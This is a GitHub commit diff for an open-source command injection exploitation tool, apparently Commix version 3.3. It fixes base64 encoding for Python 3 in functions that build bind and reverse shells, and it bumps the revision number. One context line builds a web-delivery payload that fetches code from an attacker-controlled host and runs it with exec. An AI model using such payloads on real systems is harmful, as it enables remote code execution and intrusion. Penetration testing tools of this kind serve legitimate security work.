File tree Expand file tree Collapse file tree 3 files changed +4
-4
lines changed Expand file tree Collapse file tree 3 files changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -408,7 +408,7 @@ def other_bind_shells(separator):
408
408
with open (output , "r" ) as content_file :
409
409
data = content_file .readlines ()
410
410
data = '' .join (data )
411
- data = base64 .b64encode (data )
411
+ data = base64 .b64encode (data . encode ( settings . UNICODE_ENCODING )). decode ( )
412
412
413
413
print (settings .SINGLE_WHITESPACE )
414
414
# Remove the ouput file.
Original file line number Diff line number Diff line change @@ -446,7 +446,7 @@ def other_reverse_shells(separator):
446
446
with open (output , "r" ) as content_file :
447
447
data = content_file .readlines ()
448
448
data = '' .join (data )
449
- data = base64 .b64encode (data )
449
+ data = base64 .b64encode (data . encode ( settings . UNICODE_ENCODING )). decode ( )
450
450
451
451
print (settings .SINGLE_WHITESPACE )
452
452
# Remove the ouput file.
@@ -633,7 +633,7 @@ def other_reverse_shells(separator):
633
633
634
634
if web_delivery == '1' :
635
635
data = "; r=_urllib.request.urlopen('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "'); exec(r.read());"
636
- data = base64 .b64encode (data )
636
+ data = base64 .b64encode (data . encode ( settings . UNICODE_ENCODING )). decode ( )
637
637
if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
638
638
set_python_working_dir ()
639
639
other_shell = settings .WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
Original file line number Diff line number Diff line change @@ -216,7 +216,7 @@ def sys_argv_errors():
216
216
DESCRIPTION = "The command injection exploiter"
217
217
AUTHOR = "Anastasios Stasinopoulos"
218
218
VERSION_NUM = "3.3"
219
- REVISION = "42 "
219
+ REVISION = "43 "
220
220
STABLE_RELEASE = False
221
221
if STABLE_RELEASE :
222
222
VERSION = "v" + VERSION_NUM + "-stable"
You can’t perform that action at this time.
0 commit comments